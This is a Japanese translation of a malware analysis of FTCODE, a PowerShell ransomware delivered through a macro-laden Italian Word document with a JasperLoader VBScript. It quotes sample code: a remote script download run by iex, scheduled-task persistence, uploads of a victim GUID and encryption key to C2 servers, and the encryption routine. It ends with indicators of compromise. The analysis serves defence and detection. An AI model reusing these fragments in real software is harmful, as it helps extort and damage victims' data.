ランサムウェアが文書ファイルとPowerShellの悪用でファイルレスで暗号化

Ransomware Goes Fileless, Uses Malicious Documents and PowerShell to Encrypt Files by Ratnesh Pandey 2019年10月21日より

WindowsやMS Officeに標準で実装されている機構の範囲で処理されるマルウェアが存在し、独立した実行ファイル類を持たないことから「ファイルレス」と呼ばれる分類になります。
こうしたマルウェアは従来の検知型のセキュリティでは問題の有無の判別が著しく難しくなります。
今回はBromiumで確保した実際の検体を分析することで、その構造を解き明かしていきます。

2019年10月、ランサムウェアをひねりを加えて配信した、悪意のあるMicrosoft Word文書を配信するフィッシング活動に遭遇しました。 GandCrab、WannaCry、RobinHoodなど大半のランサムウェアファミリーとは違い、そのマルウェアはコンパイルされたコード形式ではありません。その代わりにインタプリタ言語であるPowerShellで記述され、ディスクに直接保存されることなしにメモリ内で実行されます。こうしたメモリ内(インメモリ)の脅威は「ファイルレス」と呼ばれることもあります。今年の初めに、マイクロソフトは、インメモリマルウェアの分類に役立つファイルレス脅威の分類法を公開しました。 たとえば、このランサムウェアのサンプルは、ディスクに保存されたファイルに間接的に依存しているため、この分類法でのType IIに分類されます。

このマルウェアは、メモリ内でリモートでホストされたPowerShellスクリプトを起動して、ランダムなファイル拡張子を持つファイルを暗号化する動作をします。起動後にVBScriptダウンローダーを実行するユーザーのスタートアップ・ディレクトリにショートカットファイルを作成して、システムが感染した状態を永続的なものにします。このVBScriptは、ランサムウェアのダウンロードと実行に使用される軽量ローダーであるJasperLoaderのバリアント(バージョン= 1006.1)です。ランサムウェアはFTCODEのバリアント(バージョン= 1008.1)で、ランサムウェアが以前のバージョンで暗号化したファイルの名前を変更するために使用したファイル拡張子にちなんで名付けられました。

2019年にボルチモアやレイクシティを含む米国の地方自治体に対するランサムウェア攻撃が成功した後、知名度が高い組織による身代金の支払いのニュースやGandcrabの背後にあるグループによる「成功」を訴える主張などにより、ランサムウェアのビジネスは消滅する兆しを見せていません。

2019年10月2日に公開されたFBIの通知によると、「ランサムウェア攻撃は、攻撃の全体的な頻度が一貫してはいるものの、より標的を絞り、洗練され、被害コストが高くなっています。 2018年初頭以降、広範で無差別なランサムウェア配信活動の発生は急激に減少しましたが、ランサムウェア攻撃による損失は大幅に増加しています。」

ランサムウェアスキーマは、地下フォーラムでお金を稼ぐための簡単で低リスクの方法として販売されています。Buranランサムウェアに関する私たちの最近の投稿では、サービスとしてのランサムウェア(RaaS)の枠組みがどのような仕組みかを解明しようとしています。 Buranの場合、その開発者は、被害者のファイルを解読するために使用される「デコーダ」と引き換えに、身代金の支払いの25%を課金すると言っています。

今回の投稿では、このスクリプトベースのランサムウェアで使用される、痕跡を抑えて従来のセキュリティ制御による検出を回避する技術を分析します。

ファイル情報
  • ファイル名:Fattura-2019-864819.doc
  • ファイルサイズ:3 MB(3145729バイト)
  • 分類:Document-Word.Downloader.Cvu
  • MD5:6EC76CEFB9C668F92F0594CA456F5222
  • SHA1:0270F80230258CDA5317C18BD00C4F32EAC4857F
  • SHA256:20C54E830B2C177ED994E6E1FA7D8D4D6458B5AED9989AEC2AFFE7BF867C41B5
3 MBの特別な点は何ですか?

大半のMicrosoft Wordダウンローダーはファイルサイズ的には小さいのですが、このサンプルはファイルサイズの点では例外的であることが判明しました。 16進エディタでファイルを開くと、ファイルサイズが大きい理由がすぐにわかりました。ドキュメントにnullバイトが詰め込まれており、ドキュメント内の意味のある内容は、実際には76KBに過ぎないことがわかりました。 こうした「パットあて」は、末尾のnullバイトの追加もしくは削除により、悪意のあるドキュメントごとに異なるハッシュを容易に生成できる手段です。

MICROSOFT WORDダウンローダー

このランサムウェアは、悪意のあるWord文書(.doc)を配信するフィッシング配信活動の一環として届きました。

図1 –ユーザーをだまして「コンテンツを有効にする」ボタンをクリックさせるイタリア語のドキュメントテンプレート。

ランサムウェアの配信に使用された偽装文書はイタリア語で書かれており、イタリア語話者を標的にした配信活動であることがわかります。これを仕掛けた攻撃者は、この文書ファイルに問題があると表示し「内容を表示するにはコンテンツを有効にして編集を有効にする」というメッセージでユーザーを騙し、リボンをクリックさせようとしています。

図2 –ドキュメントの翻訳されたコンテンツは、ユーザーをだまして「コンテンツを有効にして編集を有効にする」リボンをクリックさせます。

DOCUMENT_OPENマクロ

このキャンペーンのMicrosoft Word文書には、パスワードで保護されたVisual Basic for Applications(VBA)Document_Openマクロが含まれています。 名前が示す通り、このタイプのマクロはドキュメントが開かれるたびに実行されます。 olevba.pyツールを使用することでドキュメントからVBAコードを抽出できます。 Document_Openサブルーチンは、 sisfyという関数を呼び出します。この関数は、別の関数cftbdを呼び出してPowerShellコマンドを作成します。この関数は、引数として渡された10進数に98を加算し、結果をASCII文字に変換しています。cftbd関数は、PowerShellコマンドを作成するために何度も呼び出されます。

図3 – ドキュメントに埋め込まれたVBAマクロDocument_Openのコンテンツ。

[コンテンツを有効にする]をクリックすると、マクロが実行されます。 このマクロは、.NETアセンブリモジュールNet.WebClientを使用してリモートPowerShellコマンドを実行します。 DownloadStringメソッドを使用して、リモートサーバーからスクリプトをダウンロードします。 スクリプトは、Invoke-Expressionコマンドレットの “iex”エイリアスを使用してメモリ内で実行されます。 また、目的のペイロードを指定する2つのクエリ文字列”need”と”vid”も渡します。

図4 –リモートスクリプトを呼び出すPowerShellコマンドの起動用にキャプチャされたトレース

リモートのPowerShellスクリプトはランサムウェアであり、ファイルを暗号化し、感染したシステムで持続するためのロジックが含まれています。 次の機能が含まれています。

ヘルパー関数

持続性
ランサムウェアは、スケジュールされたタスクを通じて、スタートアップフォルダーにLNKファイルを作成することにより、永続性を確立します。 uztcgeyhuという関数は、別のURL(hxxp://mario.neonhcm[.]com/?need=aegzfej&vid=dpec2&)からリモート文字列をダウンロードし、WindowsIndexingService.vbsとしてC:\Users\Public\Librariesに保存します。

$ufihvew = Join-Path $ tabxszsv(get-random -minimum 100 -maximum 999999)

変数$ufihvewは、100〜999999の乱数を生成し、$env:Public\Librariesと結合します。 このサンプルでは、​​パスC:\Users\Public\Libraries\770527を作成します。

$sjfaagvzy.DownloadString(“hxxp://mario.neonhcm[.]com/?need=aegzfej&vid=dpec2&”) | out-file $ufihvew;

$sjfaagvzy変数は、PowerShellクラスSystem.Net.WebClientのオブジェクトです。このクラスは、DownloadStringメソッドを呼び出して、$ufihvewに保存されている場所にデータをダウンロードします。

ファイルを保存した後、ランサムウェアはコンテンツのパスとサイズをチェックして、5 KBを超えていることを確認します。パスすると、770527をC:\Users\Public\Libraries\WindowsIndexingService.vbs にコピーします。

$uxsdcha = (schtasks.exe /create /TN “WindowsApplicationService” /sc DAILY /st 00:00 /f /RI 20 /du 23:59 /TR $jgyijdfsg)

その後、WindowsIndexingService.vbsを実行するWindowsApplicationServiceというスケジュールされたタスクを作成します。 スケジュールされたタスクは、毎日0時00分から20分おきに、23時間59分の間実行するように設定されます。

次に、ランサムウェアは、ターゲットを C:\Users\Public\Libraries\WindowsIndexingService.vbs に設定するショートカットファイル、WindowsApplicationService.lnkを作成します。 ショートカットの説明は”Windows Application Service”です。

図5 –関数uztcgeyhuは、スケジュールされたタスクと.lnkファイルをスタートアップフォルダーに作成することで持続するようにします。

コマンド&コントロール(C2)サーバーとの通信

ランサムウェアはC2サーバーと通信し、システムに関する情報を送信し、応答として実行するコマンドを取得します。

$gsvgdcw = $sjfaagvzy.UploadString( “hxxp://connect.hireguards[.]com/”, (“ver=1008.1&vid=dpec2&” + $wdgvgvthgv) );

関数zvbtfyajjは、System.Net.WebClientのUploadStringメソッドを使用して、hxxp://connect.hireguards[.]com/ のC2サーバーに接続します。 HTTP POSTリクエストは、関数に渡されるパラメーターとともに、 “version” および “vid” と呼ばれるクエリ文字列としてデータを送信します。 次に、関数は応答データを文字列(”ok”)と比較し、それに応じてtrueとfalseを返します。

図6 –関数zvbtfyajjは 、コマンドのためにC2サーバーと通信します

暗号化

ランサムウェアは、Rijndaelアルゴリズムを使用してファイルを暗号化します。 .NETクラスSystem.Security.Cryptography.RijndaelManagedを使用して、RijndaelManagedオブジェクトを作成します。オブジェクトを初期化ベクトル(IV)、キー、パディング、モードで初期化します。

$iecstygcb.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($wevhgux) )[0..15];

IVは、ハードコードされた文字列”BXCODE INIT”から派生します。最初に、.NETクラスSecurity.Cryptography.SHA1ManagedのComputeHashメソッドを使用して、UTF-8エンコード文字列のハッシュを計算します。SHA1Managedアルゴリズムのハッシュサイズは160ビットです。次に、最初の16ビットをIVとして割り当てます。

暗号化キーは、ハードコーディングされた文字列”BXCODE hack your system”とランダムパスワードであるソルトから派生します。

$jagcwjyiy = get-random -count 50 -input (48..57 + 65..90 + 97..122) | foreach-object -begin { $pass = $null } -process {$pass += [char]$_} -end {$pass};

変数$jagcwjyiyは、キーのパスワードを生成します。 Get-Randomコマンドレットを使用して、指定された入力番号48〜57、65〜90、97〜122に対して50個の乱数を生成します。次に、これらの数値を文字に変換し、50文字の長い文字列を生成します。

$iecstygcb.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $tbwtcvjh, $ywzvjthf, “SHA1”, 5).GetBytes(32);

暗号化キーを導出するために、ランサムウェアは.NETクラスSecurity.Cryptography.PasswordDeriveBytesをパスワード、キー・ソルト、ハッシュアルゴリズム(SHA1)および反復番号(5)とともにパラメーターとして使用します。次に、出力の32バイトを暗号化キーとして設定します。ランサムウェアは、RijndaelManagedオブジェクトの対称アルゴリズムの暗号モードとして、”ゼロ”パディングモードと暗号ブロックチェーン(CBC)を設定します。

$ ifuhffefwv = new-Object Security.Cryptography.CryptoStream $ cgzctus、$ baitgbth、” Write”;

暗号化機構の準備が整うと、.NETクラスSecurity.Cryptography.CryptoStreamを使用して、ファイルの任意のバイトを暗号化されたメモリストリームに変換します。

図7 –暗号化ヘルパー機能

コマンドシェル(cmd.exe)を使用してコマンドを起動します

ランサムウェアは、wyidyaxと呼ばれる機能を使用してシステム上でコマンドを実行します。コマンドは、Start-Processコマンドレットを使用して作成されたcmd.exeプロセスを通じて実行されます。 cmd.exeプロセスは、非表示ウィンドウ引数 “/c” で作成されます。

図8 – cmd.exeを使用してコマンドを起動するヘルパー関数

ファイルプロセッサ:ランサムウェアのメインモジュール

gwytattutという名前の関数は、次のアクションを実行するランサムウェアのファイル処理モジュールです。

1.永続性の確立と一意の識別子を生成

ランサムウェアは、ディレクトリC:\Users\PublicにOracleKitというフォルダーを作成します。このフォルダーには、実行されるたびにグローバル一意識別子(GUID)とスクリプトが格納されます。

2.スクリプトの並列実行の回避のために、システムがすでに感染しているかを確認

ランサムウェアは、quanto98.tmpというファイルがユーザーの%TEMP%フォルダーに存在するかどうかを確認します。 FTCODEバリアントを調査した2019年10月3日の公開レポートでは、quanto98.tmpはキルスイッチとしても機能すると述べています。ただし、このサンプルでは、​​キルスイッチとして動作しないことがわかりました。ファイルが存在する場合、New-TimeSpanコマンドレットを使用して、quanto98.tmpの現在の時刻と作成時刻の差を計算します。差が30分を超える場合、スクリプトは終了します。それ以外の場合、Set-Contentコマンドレットの「sc」エイリアスを使用して、現在の時刻をファイルに書き込みます。これにより、2つの並列スクリプトが同時に実行されるのを防ぎます。

図9 –ファイル$ env:temp +“ \ quanto98.tmp”のコンテンツを使用したスクリプトの並列実行を回避するコード

3.感染したシステムを識別する新しいGUIDの作成

ランサムウェアは、w00log03.tmpという名前のファイルがOracleKitディレクトリに存在するかどうかを確認します。存在しない場合、マルウェアはNewGuidメソッドを使用してGUIDを作成します。 w00log03.tmpが存在する場合、スクリプトは内容の文字列の長さが36文字であることを確認します。これは有効なGUIDの長さに対応しています。文字列の長さが36の場合、ファイルのコンテンツをGUIDとして使用し、$bfjixyes という変数に割り当てます。それ以外の場合は、新しいGUIDを生成し、Set-Contentコマンドレットを使用してファイルに書き込みます。GUIDをファイルに書き込むと、Get-Itemコマンドレットの”gi”エイリアスを使用して、ファイルを非表示としてマークします。

図10 –感染したシステムを識別するためのGUIDの作成。 GUIDは、隠しファイルw00log03.tmpに保存されます。

4.暗号化されたファイルの一意の拡張子を作成

$schbzwt = ([string][guid]::NewGuid()).Substring(0,6);

ランサムウェアは、各暗号化ファイルの拡張子として新しいGUIDの最初の6文字を使用します。このGUIDは、手順3で生成されたGUIDとは異なることに注目してください。このように、ランサムウェアは、感染したすべてのシステムに固有の拡張子を生成します。

5.偵察データをC2サーバーにアップロードして応答するコマンドの確認

ランサムウェアは、zvbtfyajj関数を呼び出すことで、HTTP POST要求のクエリ文字列として感染したシステムに関する情報をC2サーバーに送信します。

  • ver(FTCODEのバージョン)
  • vid(ペイロードまたはスクリプトの識別子)
  • guid(ステップ3で生成されたGUID、たとえば8af99a27-1610-4b74-8e2e-566ab0db7bf8)
  • ext(手順4で生成された一意の拡張機能、e12207など)
  • ek(0​​turJIjTdy87wpYocq3CVRSMlZUeBPODHxFfiXL1vk4NhGgKA2など、暗号化機能で使用される固有の50文字のパスワード)

上記で説明したように、C2サーバーからの応答データに文字列”ok”が含まれる場合、zvbtfyajjはtrueを返し、そうでない場合はfalseを返します。 zvbtfyajjがfalseを返す場合、スクリプトは “ri” すなわちRemove-Itemコマンドレットを使用して識別子ファイルquanto98.tmpを削除し、終了します。 zvbtfyajjがtrueを返す場合、スクリプトは続行し、現在の時刻をファイルquanto98.tmpの内容として計時用に設定します。

図11 – zvbtfyajjがfalseを返すと、ランサムウェアスクリプトが終了します。

このサンプルでは、​​スクリプトは次のデータをC2サーバーに送信します。

ver=1008.1&vid=dpec2&guid=8af99a27-1610-4b74-8e2e-566ab0db7bf8&ext=e12207&ek=0turJIjTdy87wpYocq3CVRSMlZUeBPODHxFfiXL1vk4NhGgKA2

図12 – C2サーバーからのHTTP POST要求と対応する応答データ

6.カスタマイズされた身代金要求メモを生成する

ランサムウェアは、変数$dsubateを使用して身代金要求文を生成します。この変数には、Base64エンコード文字列が含まれています。

$dsubate = ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $dsubate ) ) -replace “%guid%”, $bfjixyes );

次に、ランサムウェアは文字列をデコードし、”%guid%”を手順3で生成されたGUIDを保持する変数$bfjixyesの値に置き換えます。

図13 –文字列%guid%を含む$ dsubateのBase64デコード出力

7.システムバックアップとボリュームスナップショットの削除

その後、ランサムウェアは、いくつかのコマンドを実行するwyidyaxと呼ぶ関数を呼び出します。これらのコマンドは、ボリュームスナップショットやバックアップを削除して、Windowsスタートアップリカバリを無効化します。これらのコマンドの1つは、bootstatuspolicyを変更することで、すべてのエラーを無視してWindowsが復旧モードにフェールオーバーしないようにします。

図14 –ランサムウェアによるバックアップとボリュームスナップショットの削除

8.ファイルの暗号化前にC2サーバーへ通知

zvbtfyajj (“guid=$bfjixyes&status=start”);

ランサムウェアは、前のステップをすべて実行すると、次のデータをC2サーバーに送信して、暗号化プロセスが開始されたことを通知します。

  • ver
  • vid
  • guid
  • status=start

手順5とは異なり、サーバーからの応答データをチェックしません。つまり、ファイルの暗号化を自動的に続行します。このサンプルでは、​​次のデータを送信しました。

ver=1008.1&vid=dpec2&guid=8af99a27-1610-4b74-8e2e-566ab0db7bf8&status=start

図15 –暗号化が開始されていることをC2サーバーに通知するHTTP POST要求

9.ファイルの暗号化

$wubvsxdugt=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;

ランサムウェアは、Get-PSDriveコマンドレットを使用して、システム上のドライブを反復処理します。50,000 KB(約50 MB)以上の空き領域があるドライブのファイルのみを暗号化します。このマルウェアは、PowerShellレジストリプロバイダーによって公開されたレジストリハイブを暗号化しません。さらに、重要なOSシステムファイルの暗号化を回避するために、次の名前と一致するルートディレクトリはスキップされます。

  • windows
  • Temp
  • Recycle
  • Intel
  • OEM
  • Program Files
  • ProgramData

ドライブを降順に並べ替え、Get-ChildItemコマンドレットの gci エイリアスを使用してファイルの再帰的なフェッチを開始します。

ランサムウェアは、次の拡張子を持つファイルを暗号化します。

.3fr .dazip .ibank .mef .pptx .sr2 .xlsb
.7z .db0 .icxs .menu .psd .srf .xlsm
.accdb .dba .indd .mlx .psk .srw .xlsx
.ai .dbf .itdb .mov .pst .sum .xxx
.apk .dcr .itl .mp4 .ptx .svg .zip
.arch00 .der .itm .mpqge .py .syncdb .ztmp
.arw .desc .iwd .mrwref .qdf .t12 wallet
.asset .dmp .iwi .ncf .qic .t13
.avi .dng .jpe .nrw .r3d .tax
.bar .doc .jpeg .ntl .raf .tor
.bay .docm .jpg .odb .rar .txt
.bc6 .docx .js .odc .raw .upk
.bc7 .dwg .kdb .odm .rb .vcf
.big .dxg .kdc .odp .re4 .vdf
.bik .epk .kf .ods .rgss3a .vfs0
.bkf .eps .layout .odt .rim .vpk
.bkp .erf .lbf .orf .rofl .vpp_pc
.blob .esm .litemod .p12 .rtf .vtf
.bsa .ff .lrf .p7b .rw2 .w3x
.cas .flv .ltx .p7c .rwl .wb2
.cdr .forge .lvl .pak .sav .wma
.cer .fos .m2 .pdd .sb .wmo
.cfr .fpk .m3u .pdf .sid .wmv
.cr2 .fsh .m4a .pef .sidd .wotreplay
.crt .gdb .map .pem .sidn .wpd
.crw .gho .mcmeta .pfx .sie .wps
.css .hkdb .mdb .pkpass .sis .x3f
.csv .hkx .mdbackup .png .slm .xf
.d3dbsp .hplg .mddata .ppt .snx .xlk
.das .hvpl .mdf .pptm .sql .xls

ランサムウェアはファイルをReadWriteモードで開き、ファイルのサイズが40,960バイトを超える場合、最初の40,960バイトを暗号化するために取得します。それ以外の場合は、ファイルの中身全体を暗号化します。

図16 –暗号化のバッファ長の選択

次に、マルウェアは暗号化機能を呼び出してバッファを暗号化し、ファイルに書き込みます。手順4で生成された一意の拡張子をファイル名に追加することにより、ファイル名を変更します。ファイルの暗号化が完了すると、ランサムウェアはREAD_ME_NOW.htmという身代金要求文を出力します。ファイルのコンテンツはステップ6で生成され、HTMLヘッダーを含みます。

図17 –ドロップされた身代金メモREAD_ME_NOW.htm

身代金要求文は、匿名ネットワークのTor経由でアクセス可能な.onionアドレスを訪問するよう被害者に指示します。

  • hxxp://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]onion

ランサムウェアの操作者は身代金を次のビットコインウォレット・アドレスへ支払いすることを要求します。

  • 1BuiseGndyBV8qmeVhdrALuY4mG9v2ydLE

身代金は、支払いの受け取り時期に応じて500〜25,000米ドルの範囲です。 30日が経過しても支払いが届かない場合、Webサイトは被害者の秘密キーが削除されると主張し、そうなれば複合化は非常に難しくなります。C2サーバーに送信されたネットワークトラフィックがキャプチャされると、プライベートキーはプレーンテキストでHTTP経由で送信されるため、ファイルは復号化できる可能性があります。

図18 – Torネットワークでホストされている回復Webサイト

10月15日現在、ビットコインウォレットとの取引は行われていません。このことは、私たちの見えないところで別のビットコインウォレットを持っているかもしれませんが、彼らのこの取り組みが攻撃者にとってうまくいったものではなかったことも示唆しています。

図19 – 2019年10月15日時点のビットコインウォレット

10. C2サーバーへのジョブ完了通知

zvbtfyajj (“guid=$bfjixyes&status=done&res=” + $atgtbxwec );

すべてのファイルを暗号化した後、次のデータをC2サーバーに送信して、暗号化が完了したことを通知します。

  • guid
  • status=done
  • res=$atgtbxwec ($atgtbxwec は暗号化されたファイル数)

暗号化処理中に例外エラーが起きた場合(ファイルのオープン、クローズ、または書き込み過程を除く)ランサムウェアはサーバーに次のデータを送信して、発生したエラーを通知します。これによりマルウェア作成者は環境を理解し、それに応じてスクリプトを変更できます。

  • guid
  • psver (PowerShellメジャーバージョン、Get-Hostコマンドレットを使用して取得)
  • error (Base64でエンコードされた例外メッセージ)

図20 – C2サーバーへの例外メッセージの送信

図21 –ランサムウェアのプロセス間関係グラフ

VBSCRIPTローダーの内容

上記で説明したように、最初のヘルパー関数uztcgeyhuは.vbsファイルをC:\Users\Public\Libraries に出力します。VBSファイルは難読化されて、Base64エンコードのPowerShellコマンドを構成します。

図22 –難読化されたVBScript。関数hxfsは、Base64エンコードのPowerShellコマンドを構成します。

図23 – Base64でエンコードされたPowerShellコマンド

PowerShellコマンドは、C:\Users\Public\Librariesの thumbcache_64.dbの存在を確認します。存在しない場合、スクリプトはC2サーバー(hxxp://cdn.unitycareers[.]com)に接続します。感染したシステムに関する次の情報がC2サーバーに送信されます。

  • v=1006.1
  • guid (ステップ3で作成されたものとは異なり、例えば1062f9e6-8bcd-4d3a-8a1e-4ff11125345c)
  • status=register
  • ssid (GUIDの最初の16文字)
  • os (OSのバージョン、たとえば0.17763.592)
  • psver (Powershellメジャーバージョン、5など)
  • comp_name (コンピューター名)
  • domen (C2 ドメイン、例えば hxxp://cdn.unitycareers[.]com/)

このサンプルの分析時には、xxp://cdn.unitycareers[.]com のC2サーバーは、403 Deniedメッセージで応答しました。ただし、接続が成功した場合、スクリプトはさらにペイロードをダウンロードし、Invoke-Expressionコマンドレットを使用して実行できます。このサンプルでは、​​次のBase64データが送信されました。

dj0xMDA2LjEmZ3VpZD0xMDYyZjllNi04YmNkLTRkM2EtOGExZS00ZmYxMTEyNTM0NWMmc3RhdHVzPXJlZ2lzdGVyJnNzaWQ9ZGYwNGRmMzg5MWQw

[編集後]

zYzLjU5MiZwc3Zlcj01JmNvbXBfbmFtZT1NQUwtUFJPWFktMSZkb21lbj1odHRwOi8vY2RuLnVuaXR5Y2FyZWVycy5jb20v

v=1006.1&guid=1062f9e6-8bcd-4d3a-8a1e-4ff11125345c&status=register&ssid=df04df3891d04057&os=10.0.17763.592&psver=5&comp_name=

[編集後]

&domen=hxxp://cdn.unitycareers[.]com/

図24 – C2サーバーに登録するためのHTTP POST要求と、それに続く403応答

図25 – WindowsIndexingService.vbsの実行中にキャプチャされたプロセス間関係グラフ

MITTER ATT&CKマッピング

図26 –この配信活動で観測されたMITER ATT&CKの分類での手口

侵害の痕跡

URL

  • hxxp://cdn.unitycareers[.]com
  • hxxp://home.southerntransitions[.]net
  • hxxp://mario.neonhcm[.]com
  • hxxp://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]onion

HTTPヘッダー

  • Content-Type: application/x-www-form-urlencoded

SHA256ハッシュ

  • 20C54E830B2C177ED994E6E1FA7D8D4D6458B5AED9989AEC2AFFE7BF867C41B5Fattura-2019-864819.doc
  • 06A51D934D31506AADE201B1E0E16098948844F07EC67AE666872CFE3B30C1A0 WindowsIndexingService.vbs

ビットコインウォレット

  • 1BuiseGndyBV8qmeVhdrALuY4mG9v2ydLE

本和訳文の著作権は株式会社ブロードに帰属します。

シェアする

  • このエントリーをはてなブックマークに追加

フォローする